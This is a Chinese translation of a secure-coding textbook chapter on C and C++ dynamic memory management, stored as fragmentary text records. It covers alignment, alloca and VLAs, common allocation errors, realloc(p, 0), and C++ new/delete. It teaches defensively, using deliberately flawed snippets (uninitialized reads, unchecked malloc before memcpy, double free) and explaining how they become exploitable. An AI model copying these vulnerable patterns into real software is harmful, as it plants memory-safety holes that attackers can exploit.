在C标准中引入_Alignas关键字和aligned_alloc（）函数的主要理由是支持单指令多数据（SIMD）计算。在SIMD中，多个处理单元对多个数据同时执行相同的操作。SIMD流指令扩展（SSE）是由英特尔设计的对x86架构的SIMD指令集扩展，并在1999年推出的Pentium III系列处理器中引入。支持英特尔SSE的处理器有8个128位寄存器，其中每一个寄存器可以包含4个单精度浮点数。被SSE指令处理的每一个float数组必须具有16字节对齐。 你可以按如下方法使用aligned_alloc（）动态分配一个16字节对齐值： / 分配16 字节对齐的数据 float *array = (float *)aligned_alloc(16, ARR_SIZE * sizeof(float)); aligned_alloc（）函数将不会返回比所有上下文中的实现支持的最大对齐更弱的对齐，所以虽然下面的代码看起来是不正确的，但它实际上工作良好。 1 size_t alignment = alignof(char); 2 size_t size = sizeof(int) * alignment; 3 int *p = aligned_alloc(alignment, size); 4 *p = 5; 在这个例子中，alignof（char）﹤alignof（max_align_t），因此，aligned_alloc（）函数使用最大的基本对齐alignof（max_align_t）。为了保持可移植性，使用aligned_alloc（）的推荐方式是使用一个对齐参数，其值是对相应的类型应用alignof操作符的结果。 更严格对齐的内存分配带来的问题之一，与重新分配有关。如果你在一个由aligned_alloc（）返回的指针上调用realloc（）函数，那么C标准并不要求保留比正常更严格的对齐。《C安全编码标准》[Seacord 2008]，“MEM 36-C.在调用realloc（）函数之前检查内存空间的对齐”进一步说明了这个问题。"},
    {"text": "未知 4.1.3 alloca（）和变长数组 alloca（）函数在调用者的栈帧中分配内存。在调用alloca（）的函数返回时自动释放该内存。alloca（）函数返回一个指向所分配空间的起始地址的指针。 alloca（）函数没有在POSIX或C中定义，但许多BSD系统、GCC和Linux发行版本都支持它。alloca（）函数通常实现为内联（inline）函数，通常由单个调整栈指针的指令构成。因此，alloca（）不返回一个空的错误并且可能在分配空间时超出栈的边界。 因为由标准C内存分配函数分配的内存必须被释放，程序员经常感到困惑并释放通过alloca（）函数返回的内存，这个内存本来是绝不应该被释放的。对不是通过调用内存分配函数获得的指针调用free（）是一个严重的错误和未定义的行为。具体来说，C标准规定，如果free（）或realloc（）函数的指针参数与先前由内存管理函数返回的指针不匹配，或如果这个空间已通过调用free（）或realloc（）释放，那么该行为是未定义的。 虽然alloca（）有一定的优势，但不鼓励使用它。特别是，它不应该被用于大规模的或无界的内存分配，因为在此情况下使用此函数将用尽分配给栈的内存。 C99标准引入了一种更好的alloca（）函数，它的形式是可变长度的数组（Variable-Length Array，VLA）。VLA是一种你的实现可能不支持的有条件的功能。如果你的实现不支持VLA，那么__STDC_NO_VLA__宏将被定义为整型常量1。 VLA除了被声明的大小不是一个整型常量表达式外，它们基本上就是传统的C数组。VLA只能在块范围或函数原型范围中声明并且没有耦合。可以用如下方法声明VLA： 1 int f(size_t size) { 2 char vla[size]; 3 /* ... */ 4 } VLA的生存期从其声明处开始，一直延伸到程序的执行离开其声明的范围时结束。离开包含声明的最内层块、跳跃到该块在声明前的一个点或一个嵌入式块都是离开声明范围的例子。 如果对size求值的结果不为正值，就会产生未定义行为。此外，如果参数的值过大，程序可能会产生意想不到的行为，例如，超过栈界限的分配。攻击者可以利用这种行为，以覆写关键程序数据[Griffiths 2006]。程序员必须确保VLA的size参数在一个有效的范围内，尤其是那些来自不可信数据的size参数。VLA类型的每个实例在其生存期内，大小都不会改变。详情参见《C安全编码标准》[Seacord 2008]，“ARR32-C．确保对可变长度数组的大小参数在一个有效的范围内”。 一个完整的声明符是一个不属于另一个声明符的声明符。如果在一个完整的声明符的嵌套声明符序列中有一个声明符指定了一个VLA类型，那么由该完整的声明符指定的类型是可变的（ variably modified ）。例如，在以下声明中： int *a[n]; // int 类型的指针可变长数组 完整的声明是*a[n]。内声明是a[n]，它这是可变的，因此，外层也是可变的。此外，从一个可变类型派生的声明符类型派生的任何类型本身都是可变的。 未知 4.2 常见的C内存管理错误 C程序中的动态内存管理，可以非常复杂，从而容易出现缺陷。常见的与内存管理相关的编程缺陷包括：初始化错误、未检查返回值、对空指针或无效指针解引用、引用已释放的内存、对同一块内存释放多次、内存泄漏和零长度分配。"},
    {"text": "未知 4.2.1 初始化错误 通常用函数malloc（）分配内存块。由malloc（）返回的空间中的值是不确定的。一个常见的错误是不正确地假设malloc（）把分配的内存的所有位都初始化为零。《C安全编码标准》[Seacord 2008]“MEM 09-C.不要假定内存分配函数初始化内存”进一步描述了这个问题。未能遵循这一建议可能会导致违反“EXP 33-C.不要引用未初始化的内存”。 在例4.1中，第8行的matvec（）函数的赋值语句假定y[i]的值为初始值0。如果违反这一假设，该函数就会返回一个不正确的结果。此问题只是此函数中存在的许多编码错误之一。 例4.1 读取未初始化的内存 01 /* 返回 y = Ax */ 02 int *matvec(int **A, int *x, int n) { 03 int *y = malloc(n * sizeof(int)); 04 int i, j; 05 06 for (i = 0; i < n; i++) 07 for (j = 0; j < n; j++) 08 y[i] += A[i][j] * x[j]; 09 return y; 10 } 初始化大的内存块可能会降低性能并且不总是必要的。C标准委员会决定不需要malloc（）来初始化这个内存，而把这个决定留给程序员。如果需要，你可以用memset（）或通过调用calloc（）初始化内存，它们都将内存清零。当调用calloc（）时，需要确保参数相乘时不产生回绕 [1] 。《C安全编码标准》[Seacord 2008]，“MEM 07-C.确保calloc（）的参数相乘的结果，可作为一个size_t表示”进一步说明了这个问题。 在需要时未初始化内存也会产生保密或隐私风险。这种风险的一个例子是Sun的压缩包（tarball）漏洞[Graff 2003]。tar程序 [2] 用于在UNIX系统上创建归档文件。在这种情况下，Solaris 2.0系统的tar程序莫名其妙地包括了/etc/passwd文件的片段，这是一个可能危及系统安全的信息泄漏的例子。 这种情况下的问题是，tar工具没有初始化动态分配的内存，这个内存被用来从磁盘读取一个块的数据。遗憾的是，在分配该块内存前，tar工具执行系统调用来从/etc/passwd文件中查找用户信息。此内存块被free（）释放，然后被重新分配给tar工具作为读取缓冲区。free（）函数与malloc（）函数是类似的，两者都不需要清除内存，而且不太可能找到一个这样做（清除内存）的实现。Sun公司通过在tar工具中用calloc（）调用代替malloc（）的调用修复了Sun压缩包漏洞。现有的解决方案是非常脆弱的，因为任何变化都可能会导致敏感信息在程序中的其他部分被重新分配并再次泄漏，造成一座似曾相识的火山（一个“已经见过”的漏洞）。 在如Sun压缩包漏洞这种使用敏感信息的情况下，在调用free（）之前清除或覆写敏感信息是很重要的，正如《C安全编码标准》[Seacord 2008]中的MEM 03-C推荐的：“清除存储在可重复使用的资源中的敏感信息”。清除或覆写内存通常是通过调用C标准的memset（）函数来完成的。遗憾的是，如果不在写后访问内存，编译器优化可能会默默地删除对memset（）的调用。为了避免这种可能性，你可以使用C标准附录K（如果可用）中定义的memset_s（）函数。不同于memset（），memset_s（）函数假定被设置的内存可能会在未来被访问，因此这个函数调用不能被优化掉。详情参见《C安全编码标准》[Seacord 2008]“MSC 06-C.处理敏感数据时，要注意编译器优化”以获得更多信息。 [1] 即超过一个类型的最大值后归零或变成负数。—译者注 [2] 最初设计的UNIX tar（磁带归档）命令用于将磁盘存储块复制到磁带中。现在，tar 是UNIX 系统之间传输成组文件的主要方法。"},
    {"text": "未知 4.2.2 未检查返回值 内存是有限的资源，它可能会被耗尽。可用内存通常的界限是，由管理员分配给操作系统的物理内存和交换空间的数量的总和。例如，一个拥有1GB物理内存并配置2GB交换空间的系统，可能最多能够分配3GB堆空间给所有正在运行的进程（减去操作系统本身和所有正在运行的进程的文本和数据段的大小）。一旦所有的虚拟内存都被分配，请求更多的内存将失败。AIX和Linux具有下面的（不合格）行为，其中超过这个最大值的块分配请求可以成功，但当进程试图访问不能由RAM或交换空间返回的内存时，内核就会终止这个进程[Rodrigues 2009]。 导致堆耗尽的一些原因，包括 ·内存泄漏（动态分配的内存不再需要后没有被释放，参见4.2.6节） ·常见数据结构的不正确实现（例如，哈希表或向量） ·可能是因为其他进程，整体系统内存被耗尽 ·其他进程使用内存所带来的瞬态条件 《C安全编码标准》[Seacord 2008]，“MEM11-C.不要假设堆空间是无限的”对内存耗尽提出了警告。 内存分配函数的返回值表示分配失败或成功。如果请求的内存分配失败，那么aligned_alloc（）、calloc（）、malloc（）和realloc（）函数返回空指针。 编写应用程序的程序员必须确定何时发生了错误，并以适当的方式处理该错误。因此，《C安全编码标准》[Seacord 2008]“MEM 32-C.检测和处理内存分配错误”要求检测并妥善管理这些错误。 如果不能分配请求的空间，那么C内存分配函数将返回一个空指针。例4.2显示了一个函数，它使用malloc（）分配内存并测试其返回值。 例4.2 检查malloc（）的返回代码 01 int *create_int_array(size_t nelements_wanted) { 02 int *i_ptr = (int *)malloc(sizeof(int) * nelements_wanted); 03 if (i_ptr != NULL) { 04 memset(i_ptr, 0, sizeof(int) * nelements_wanted); 05 } 06 else { 07 return NULL; 08 } 09 return i_ptr; 10 } 在不能分配内存时，有个一致的恢复计划是个好主意，即使你的解决方案是打印错误消息，并且以非零退出状态退出。 未检测和妥善处理内存分配错误，可能导致不可预知的意外程序行为。例如，Adobe Flash 9.0.124.0之前的版本忽视检查calloc（）的返回值，这导致一个漏洞（VU#159523）。即使calloc（）返回一个空指针，Flash软件也写入返回值的一个偏移量。对空指针解引用通常会导致程序崩溃，但对空指针的偏移量解引用，允许一个利用它的攻击取得成功，而程序不会崩溃。 《C安全编码标准》[Seacord 2008]“MEM 32-C.检测和处理内存分配错误”，包含这个问题的另一个例子。假设在下面的例子中，temp_num、tmp2、num_of_records在恶意用户的控制下，攻击者可能会提供较大的num_of_records值来导致malloc（）的失败： 1 signal_info * start = malloc(num_of_records * sizeof(signal_info)); 2 signal_info * point = (signal_info *)start; 3 point = start + temp_num - 1; 4 memcpy(point->sig_desc, tmp2, strlen(tmp2)); 5 /* ... */ 当malloc（）失败时，它返回一个赋值给start的空指针。在与start相加时，temp_num的值根据signal_info的大小放大。由此产生的指针的值被存储在point中。要利用此漏洞，攻击者可以为temp_num提供一个值，它会导致point引用一个可写的地址，结果控制权最终转移。在该地址的内存被tmp2引用的字符串的内容所覆写，会导致任意代码执行的漏洞。 通过对malloc（）返回的指针进行简单的不为空测试，并适当地处理分配错误，可以消除此漏洞。 01 signal_info *start = malloc(num_of_records * sizeof(signal_info)); 02 if (start == NULL) { 03 /* 处理分配错误*/ 04 } 05 else { 06 signal_info *point = (signal_info *)start; 07 point = start + temp_num - 1; 08 memcpy(point->sig_desc, tmp2, strlen(tmp2)); 09 /* ... */ 10 }"},
    {"text": "未知 4.2.3 Null或无效指针解引用 一元操作符“*”表示间接。如果操作数不指向对象或函数，那么一元操作符“*”的行为是未定义的。 用一元操作符“*”解引用的指针的无效值包括：空指针、未按照指向的对象类型正确对齐的地址、生存期结束后的对象的地址。 空指针的解引用通常会导致段错误，但并非总是如此。例如，许多Cray超级计算机有映射到地址0处的内存，所以它工作起来就像任何其他的内存引用。许多嵌入式系统的工作方式与此相同。其他嵌入式系统有映射到地址0处的寄存器，因此覆写它们会产生不可预知的后果。每个实现有选择最适合其环境的工作方式的自由，包括性能考虑、节约地址空间和其他可能与硬件或作为一个整体的实现有关的任何东西。然而，在某些情况下，解引用空指针会导致任意代码的执行。《C安全编码标准》[Seacord 2008]，“EXP 34-C.不要解引用空指针”，进一步描述了对空指针解引用的问题。 一个可利用的空指针解引用漏洞的真实世界的例子是在一个流行的基于ARM的手机[Jack 2007]上部署容易受攻击的libpng库版本导致的。libpng库实现了自己的malloc（）包装器，它在出错或传入一个0字节长度的参数时都返回一个空指针。 png_charp chunkdata; chunkdata = (png_charp)png_malloc(png_ptr, length + 1); 后来在调用memcpy（）函数时用该chunkdata指针作为目标参数。直接写入一个内存分配函数返回的指针更为常见，但一般比在指针算术运算中使用指针作为操作数更不容易被利用。 如果给这个例子中的代码提供一个为–1的length域，额外的包装就会把它绕到0，其后png_malloc（）返回一个空指针，该空指针被赋值给chunkdata。对memcpy（）函数的后续调用导致用户定义的数据覆写了地址从0开始的内存。写或读内存地址0通常会引用无效或未使用的内存。在ARM和XScale架构的情况下，地址0映射到内存并作为异常向量表。 同样，这个漏洞可以很容易地消除，确保由malloc（）返回的指针或其他内存分配函数或包装器不是一个空指针。这个例子违反《C安全编码标准》[Seacord 2008]的规则“MEM 35-C.为对象分配足够的内存”。它也违反建议“MEM 04-C.不要执行零长度分配”。 未知 4.2.4 引用已释放内存 除非指向某块内存的指针已设置为NULL或以其他方式被覆写，否则就有可能访问已被释放的内存。（遗憾的是，free（）函数不能把它的指针参数设置为NULL，因为它需要一个void*类型的参数，而不是void**类型的参数。）在下面的循环中可以看出这种编程错误的一个例子[Kernighan 1988]，它首先释放p引用的内存，然后解引用p。 for (p = head; p != NULL; p = p->next) free(p); 执行此操作的正确方法是先保存所需的指针，然后再释放，如下所示。 1 for (p = head; p != NULL; p = q) { 2 q = p->next; 3 free(p); 4 } 从已被释放的内存读取是未定义的行为，但在没有内存故障时几乎总能成功，因为释放的内存是被内存管理器回收的。然而，并不保证内存的内容没有被篡改过。虽然free（）调用通常不会擦除内存，但内存管理器可能使用这个空间的一部分来管理释放或未分配的内存。如果内存块已被重新分配，那么其内容可能已经被全部替换。其结果是，这些错误可能检测不出来，因为内存中的内容可能会在测试过程中被保留，但在运行过程中被修改。 写入已经被释放的内存位置，也不太可能导致内存故障，但可能会导致一些严重的问题。如果该块内存已被重新分配，程序员就可以覆写此内存，一个内存块是专门（dedicated）为一个特定的变量分配的，但在现实中，它是被共享（shared）的。在这种情况下，该变量中包含最后一次写入的任何数据。如果那块内存没有被重新分配，那么写入已释放的块可能会覆写并损坏内存管理器所使用的数据结构。在本章稍后将会详细介绍，当写入的数据被攻击者控制时，这可以（并已经）被用作漏洞利用的基础。 未知 4.2.5 多次释放内存 动态内存管理另外一个危险的错误是不止一次地释放同一内存块（最常见的场景是两次释放（double-free））。这个错误是危险的，因为它会以一种不会立即显现的方式破坏内存管理器中的数据结构。因为许多程序员没有意识到，多次释放相同的内存会导致可以利用的漏洞，从而加剧了这个问题的危险性。 例4.3中的示例程序两次释放了由x引用的内存块：第一次在第3行释放，第二次在第6行释放。这个例子显示了程序员剪切和粘贴代码块，然后改变它的一些元素（通常是一个变量名）造成的典型的剪切和粘贴错误。在这个例子中，很容易想象，一个程序员由于疏忽，未把第6行对x的引用更改为一个对y的引用，无意中两次释放了同一块内存（也造成了内存泄漏）。 例4.3 x引用的内存被释放两次 1 x = malloc(n * sizeof(int)); 2 /* 访问x 引用的内存*/ 3 free(x); 4 y = malloc(n * sizeof(int)); 5 /* 访问y 引用的内存*/ 6 free(x); 如果被省略的“存取x和y所引用的内存”的语句由多行代码组成，该错误可能不太明显。 另一个常见的多次释放内存的原因是在错误处理中，作为错误处理的结果，内存块被释放，但在正常处理过程中再次被释放。"},
    {"text": "未知 4.2.6 内存泄漏 当动态分配的内存不再需要后却没有被释放时，就会发生内存泄漏。许多内存泄漏是显而易见的，但也有一些不太明显。例如，只是在启动时一次分配内存块，往往不被认为是内存泄漏。但是，如果这个启动代码是在动态加载的库中的，而且这个动态库被多次加载到一个进程的地址空间并卸载（就像插件那样），那么它会很快耗尽可用的内存。另一个问题是，从main（）返回之前释放动态分配的内存。在大多数的操作系统环境中，进程退出时会一次释放所有的内存，所以这是没有必要的。然而，确保所有分配的内存被释放通常被认为是很好的做法，因为这个纪律有助于防止可利用的内存泄漏。 内存泄漏在长期运行的进程，或在利用资源耗尽攻击（拒绝服务攻击的一种形式）中可能会出现问题。如果攻击者能够识别导致内存分配、但不会释放的外部动作，那么内存最终会被耗尽。一旦内存耗尽，额外分配就会失败，应用程序不必崩溃也无法处理有效的用户请求。这种技术也可能被用于探测两次释放的漏洞和其他安全漏洞的错误恢复代码。 自动检测内存泄漏是困难的，因为内存是否并且何时可能再次被引用并不总是很清楚。例4.4中的函数的内存泄漏是显而易见的，因为存储了调用的返回值的最后一个指针的生存期已经结束，而没有用该指针的值调用一个标准的内存释放函数。 例4.4 自动检测内存泄漏 1 int f(void) { 2 char *text_buffer = (char *)malloc(BUFSIZ); 3 if (text_buffer == NULL) { 4 return -1; 5 } 6 return 0; 7 } 未知 4.2.7 零长度分配 C标准规定： 如果所要求的空间大小是零，其行为是实现定义的：要么返回一个空指针，要么除了不得使用返回的指针来访问对象以外，行为与大小仿佛是某个非零值。 此外，要求分配0字节时，成功调用内存分配函数分配的存储量是不确定的。在内存分配函数返回一个非空指针的情况下，读取或写入分配的内存区域将导致未定义的行为。通常情况下，指针指向一个完全由控制结构组成的零长度的内存块。覆写这些控制结构损害内存所使用的数据结构。《C安全编码标准》[Seacord 2008]，“MEM 04-C.不要执行零长度分配”提供了有关零长度分配的额外指导。 realloc（）函数是最有问题的内存管理函数。realloc（）函数将释放旧对象，并返回一个指针，它指向一个具有指定大小的新对象。然而，如果不能为新对象分配内存，那么它就不释放旧对象，而且旧对象的值是不变的。正如malloc（0），realloc（p，0）的行为是实现定义的。 POSIX标准[IEEE Std 1003.1-2008]规定： 大小不等于0的realloc（）成功完成后，它将返回一个指向（可能是移动了的）分配的空间的指针。如果大小为0，应当返回一个空指针或一个可以成功地传递给free（）的独特指针。 如果没有足够的可用内存，那么realloc（）将返回一个空指针[CX Option Start]，并把errno设置为[ENOMEM][CX Option End]。 由[CX Option Start]和[CX Option End]括起来的文本都表示C标准的一个扩展。 直到最近，下列使用realloc（）的惯用法仍在许多Linux系统的手册页中出现。 1 char *p2; 2 char *p = malloc(100); 3 ... 4 if ((p2 = realloc(p, nsize)) == NULL) { 5 if (p) free(p); 6 p = NULL; 7 return NULL; 8 } 9 p = p2; 乍一看，这段代码似乎是正确的，但仔细检查，它存在一些问题。如果nsize等于0，realloc（）返回什么样的值？p所引用的内存又会发生什么呢？对于realloc（）释放内存，但返回一个空指针的库实现，执行这个例子中的代码会导致两次释放的漏洞。 WG14 C标准委员会的原意是realloc（p，0）释放分配的空间并返回NULL是不合格的。然而，一些实现正是这样做的，并且改变这些实现的行为可能破坏大量的现有代码。 POSIX系统上，一个安全的选择应该是检查errno的值。 1 errno = 0; 2 p2 = realloc(p, size); 3 if (p2 == NULL) { 4 if (errno == ENOMEM) { 5 free(p); 6 } 7 return; 8 } 然而，这种解决方案在AIX和glibc上将不会工作，因为在这些环境中，errno是不变的。 一个明显的解决这个问题的方案是永远不分配0个字节，如下所示。 1 char *p2; 2 char *p = malloc(100); 3 ... 4 if ((nsize == 0) || (p2 = realloc(p, nsize)) == NULL) { 5 free(p); 6 p = NULL; 7 return NULL; 8 } 9 p = p2; 这种测试可以封装在每个内存函数的包装器中，这样，例如，malloc_s（0）将始终返回一个空指针，realloc_s（p，0）将始终返回一个空指针，而p将保持不变。这些包装器可用于跨多个实现提供可移植的行为。"},
    {"text": "未知 4.2.8 DR＃400 C标准通过缺陷报告的过程不断修正。在任何给定的时间，标准由基本认可的标准、任何经批准的技术勘误表和委员会对缺陷报告的回应记录组成。 缺陷报告400“大小为零的realloc问题”，是第一个针对C11开启的缺陷，且回应记录可以在WG 14的网站的如下www.open-std.org/jtc1/sc22/wg14/www/docs/dr_400.htm。 地址找到。这一缺陷仍然是开放的，但拟议的技术更正是要进行以下更改： 在7.22.3节，第1段，把 如果请求空间的大小是零，那么该行为是实现定义的：要么返回一个空指针，…… 变更为： 如果请求空间的大小是零，那么该行为是实现定义的：要么返回一个空指针指示发生错误，…… 此变更是为了澄清标准的原意。 在7.22.3.5节，把第3段最后一句 如果不能为新对象分配内存，那么不释放旧对象，且它的值是不变的。 变更为： 如果大小不是零且不能为新对象分配内存，那么旧的对象不释放。如果大小为零，且不能为新对象分配内存，那么是否释放旧的对象是实现定义的。如果不释放旧对象，那么其值应保持不变。 这一变化使得现有的实现是合格的。 在第7.22.3.5节第4段，把 realloc函数返回一个指向新对象的指针（有可能与一个指向旧对象的指针具有相同的值），如果无法分配新的对象，则返回一个空指针。 变更为： realloc函数返回一个指向新对象的指针（有可能与一个指向旧对象的指针具有相同的值），如果新的对象还没有被分配，则返回一个空指针。 这种变化再次使现有的实现是合格的，但允许实现由于无法分配新的对象以外的原因返回一个空指针。 在7.31.12节，添加一个新的段落（第2段）： 用等于零的大小参数调用realloc是一个过时的功能。 过时的功能是在未来版本的C标准中可能被考虑取消的功能。《C安全编码标准》[Seacord 2008]，“MSC 23-C.避免使用过时的功能”，建议不要使用过时的功能。特别是，要通过调用free（），而不要用realloc（p，0）来释放内存。 未知 4.3 C++的动态内存管理 在C++中，使用new表达式分配内存并使用delete表达式释放内存。C++的new表达式分配足够的内存来保存所请求类型的对象，并可以初始化所分配的内存中的对象。 new表达式是构造一个对象的唯一方法，因为不可能显式地调用构造函数。分配的对象类型必须是一个完整的对象类型，并且不可以（例如）是一个抽象类类型或一个抽象类数组。对于非数组对象，new表达式返回一个指向所创建的对象的指针；对于数组，它返回一个指向数组初始元素的指针。new表达式分配的对象有动态存储期限（dynamic storage duration）。存储期限定义了该对象包含的存储的生存期。使用动态存储的对象的生存期，不局限于创建该对象所在的范围。 如果提供了初始化参数（即类的构造函数的参数，或原始整数类型的合法值），那么由new操作符所分配的内存被初始化。对于使用一个没有明确地初始化的new操作符的，C++标准5.3.4节[ISO/IEC 14882:2011]规定： 一个new表达式，它创建一个T类型的对象，该对象初始化如下： -如果省略new的初始值设定，则该对象是缺省初始化的（8.5）；如果没有执行初始化，则该对象具有不确定的值。 -否则，按照8.5节直接初始化的初始化规则解释new-initializer（）。 只有一个空的new-initializer（）存在时，“普通的旧数据”（POD）类型的对象[ISO/IEC 14882:2011]是new默认初始化（清零）的。这包括所有的内置类型： int* i1 = new int(); // 已初始化 int* i2 = new int; // 未初始化 一个new表达式通过调用分配函数获得对象的存储。如果new表达式通过抛出一个异常终止，它可以通过调用释放函数释放存储。非数组类型的分配函数是operate new（），而释放函数是operate delete（）。数组类型的分配函数是operate new[]（），而释放函数是operate delete[]（）。这些函数都在程序的每个翻译单元中隐含地在全局范围内声明： 1 void* operator new(std::size_t); 2 void* operator new[](std::size_t); 3 void operator delete(void*); 4 void operator delete[](void*); 一个C++程序，可以提供这些函数和/或类特定版本的替代定义。在一个C++程序中定义的任何分配和/或释放函数，包括库中的默认版本，都必须符合下面各节描述的特定语义。 就地new（placement new）是另一种形式的new表达式，它允许一个对象在任意内存位置构建。就地new需要在指定的位置有足够的内存可用。就地new有以下几种形式。 new (place) type new (place) type (initialization list) 然而，因为就地new没有实际分配内存，所以该内存不应该被释放。相反，应该直接调用对象的析构函数，如下面的例子所示。 1 void *addr = reinterpret_cast<void *>(0x00FE0000); 2 Register *rp = new (addr) Register; 3 /* ... */ 4 rp->~Register(); // 正确"},
    {"text": "未知 4.3.1 分配函数 分配函数必须是一个类的成员函数或全局函数，不能在全局范围以外的命名空间范围中声明，并且不能把它在全局范围内声明为静态的。"},
    {"text": "返回的指针是适当地对齐的，以便它可以被转换为任何具有基本对齐要求的完整对象类型的指针，并在之后用于访问所分配的存储中的对象或数组（直到调用一个相应的释放函数显式释放这块存储）。"},
    {"text": "通常情况下，分配函数无法分配存储时抛出一个异常表示失败，这个异常将匹配类型为std::bad_alloc的异常处理器： T* p1 = new T; // 失败时抛出bad_alloc 如果用std::nothrow参数调用new，当分配失败时，分配函数不会抛出一个异常。 相反，它将返回一个空指针： T* p2 = new(std::nothrow) T; // 失败时返回0 异常处理允许程序员来封装分配的错误处理代码，这通常能够提供更整洁、更清晰、更高效的代码。 例4.5显示了如何在C++中用new操作符抛出的异常形式，使用异常处理捕获内存分配失败。 例4.5 new操作符的异常处理 1 int *pn; 2 try { 3 pn = new int; 4 } 5 catch (std::bad_alloc) { 6 // 处理来自new 的失败 7 } 8 *pn = 5; 9 /* ... */ 当一个异常被抛出时，运行时机制首先在当前范围内搜索合适的处理器。"},
    {"text": "如果在任何级别中都没有处理程序捕获该异常，那么std:terminate（）函数被自动调用。 默认情况下，terminate（）调用标准C库函数abort（），它会突然退出程序。"},
    {"text": "例4.6 资源获取是初始化 01 class intHandle { 02 public: 03 explicit intHandle(int *anInt) 04 : i_(anInt) { } // 获取资源 05 ~intHandle() 06 { delete i_; } // 释放资源 07 intHandle &operator =(const int i) { 08 *i_ = i; 09 return *this; 10 }; 11 int *get() 12 { return i_; } // 访问资源 13 private: 14 intHandle(IntHandle&) = delete; 15 void operator=(intHandle&) = delete; 16 int *i_; 17 }; 18 19 void f(void) { 20 intHandle ih( new int ); 21 ih = 5; 22 /* ... */ 23 } 使用一个标准的机制，比如std::unique_ptr能完成同样的事情，但更简单： std::unique_ptr<int> ip (new int); *ip = 5; 如果发生下列任何情况，new表达式抛出std:bad_array_new_length异常，以报告无效的数组长度。"},
    {"text": "1.数组的长度为负 2.新数组的总大小超过实现定义的最大值 3.在一个大括号初始化列表中的初始值设定子句数量超过要初始化的元素数量 [2] 只有数组的第一个维度可能会产生这个异常，除第一个维度外的维度都是常量表达式，它们在编译时检查。"},
    {"text": "std::bad_array_new_length异常派生自std::bad_alloc。 例4.7显示了应该抛出std::bad_array_new_length的三种情况。 例4.7 何时应该抛出std::bad_array_new_length 01 #include <iostream> 02 #include <new> 03 #include <climits> 04 05 int main(void) { 06 int negative = -1; 07 int small = 1; 08 int large = INT_MAX; 09 try { 10 new int[negative]; // 大小为负 11 } catch(const std::bad_array_new_length &e) { 12 std::cout << e.what() << '\\n'; 13 } 14 try { 15 new int[small]{1, 2, 3}; // 过多的初始化器 16 } catch(const std::bad_array_new_length &e) { 17 std::cout << e.what() << '\\n'; 18 } 19 try { 20 new int[large][1000000]; // 过大 21 } catch(const std::bad_array_new_length &e) { 22 std::cout << e.what() << '\\n'; 23 } 24 } C++允许用std:set_new_handler（）设置一个回调new处理器。"},
    {"text": "new处理器必须是标准的new_handler类型： typedef void (*new_handler)(); 未成功分配存储的分配函数，可以调用当前安装的处理程序函数，如果有的话。"},
    {"text": "1 extern void myNewHandler(); 2 void someFunc() { 3 std::new_handler origHandler = 4 std::set_new_handler(myNewHandler); 5 // 分配一些内存... 6 // 恢复以前new 处理器 7 std::set_new_handler(origHandler); 8 } [1] 即p1在调用分配函数前被释放。"},
    {"text": "未知 4.3.2 释放函数 释放函数是类的成员函数或全局函数，在一个全局范围以外的命名空间范围声明释放函数或全局范围内声明静态的释放函数都是不正确的。 每个释放函数都返回void，并且它的第一个参数是void *。一个释放函数可以有多个参数。如果某个类T有一个名为operator delete（）的成员释放函数，且它正好只有一个参数，那么这个函数是一个常规的（非就地，nonplacement）释放函数。如果类T没有声明这样的operator delete（）函数，但却声明了成员释放函数operator delete（），它正好有两个参数，其中第二个参数的类型为std::size_t，那么这个函数是常规的释放函数。这点对operator delete[]（）函数同样成立。常规的释放函数具有以下签名。 void operator delete(void *); void operator delete(void *, size_t); void operator delete[](void *); void operator delete[](void *, size_t); 对于这些函数的两个参数形式，第一个参数是一个指向需要释放的内存块的指针，第二个参数是要释放的字节数。这种形式可能被用于从基类中删除一个派生类对象。 提供给一个释放函数的第一个参数的值可以是一个空指针值，如果是这样的话，并且如果释放函数是标准库提供的，那么该调用没有任何作用。 如果提供给标准库中的一个释放函数的参数是一个指针，且它不是空指针值，那么释放函数释放该指针所引用的存储，引起指向已释放存储（deallocated storage）的任何部分的所有指针无效。使用无效的指针值（包括将它传递给一个释放函数）产生的影响是未定义的。在某些实现中，它会导致系统生成运行时的故障；而在其他系统上，它会产生可利用的漏洞。"},
    {"text": "未知 4.3.3 垃圾回收 在C++中，垃圾回收（自动回收不再被引用的内存区域）是可选的，也就是说，一个垃圾回收器（Garbage Collector，GC）不是必需的。 Boehm-Demers-Weiser保守的垃圾回收器是一种可以用来替换C或C++内存管理器的垃圾回收器。它可以让你像往常一样分配内存，而不必明确释放不再有用的内存。收集器会自动回收与不可达对象（也就是不可以再另行访问的对象）相关联的内存。另外，垃圾回收器可能被用作C或C++程序的漏洞检测器，虽然这不是它的主要目标[Boehm 2004]。 一个垃圾回收器必须能够识别动态分配的对象的指针，以便它可以确定哪些对象可达（reachable），不应该被回收，哪些对象不可达（unreachable），并可以回收。遗憾的是，有种方法可以伪装指针，以防止垃圾回收器辨认出它们。当指针被伪装时，垃圾回收器不能把它们识别为指针，并可能会错误地把它引用的对象识别为不可达，并回收内存，而实际上这块内存仍然在使用中。 最常见的伪装是一种数据结构，它在单个指针大小的域中结合了两个指针，通常是通过独占使用它们[Sinha 2005]。虽然在技术上这是未定义的行为，但也可以使得一个指针在恢复之前指向对象的范围之外，如下所示。 1 int* p = new int; 2 p+=10; 3 // ... 收集器可以在这里运行... 4 p-=10; 5 *p = 10; // 我们可以肯定int 仍然在那里吗？ 在下面的函数开头分配的对象显然是在整个f（）中经由p可达的。 1 int f() { 2 int *p = new int(); 3 int *q = (int *)((intptr_t)p ^ 0x555); 4 a: 5 q = (int *)((intptr_t)q ^ 0x555); 6 return *q; 7 } 尽管如此，在标签a处的一个垃圾回收器可能回收它，因为超出这一位置，p没有被引用，并很可能因为死变量的优化而不再被存储，而q只包含一个伪装的指向该对象的指针 [Boehm 2009]。 为了避免这个问题，C++11定义了一个安全派生指针的概念（safely derived pointer），它派生自new返回的指针，并且只能由一个操作序列修改，使得它的任何中间结果都不可以伪装该指针。此外，所有的中间指针的值必须被存储在垃圾回收器能够辨认的域中，如指针域、有足够大小的整数域，以及char数组对齐的子序列中。 由于垃圾回收是可选的，因此程序员可以使用以下调用来要求何种指针安全和回收规则生效。 1 namespace std { 2 enum class pointer_safety { relaxed, preferred, strict }; 3 pointer_safety get_pointer_safety(); 4 } pointer_safety的三个值分别如下所示。 relaxed（宽松的） ：安全的和不安全的派生指针被同等对待，类似于C和C++98处理它们的方法。 preferred（首选的） ：这类似于relaxed，但一个垃圾回收器可能正在作为泄漏检测器和“坏指针”解引用检测器运行。 strict（严格的） ：安全的和不安全的派生指针可以被区别对待，也就是说，一个垃圾回收器可能正在运行，并将忽略不安全地派生的指针。 没有标准的机制来指定这三个选项中哪个生效。 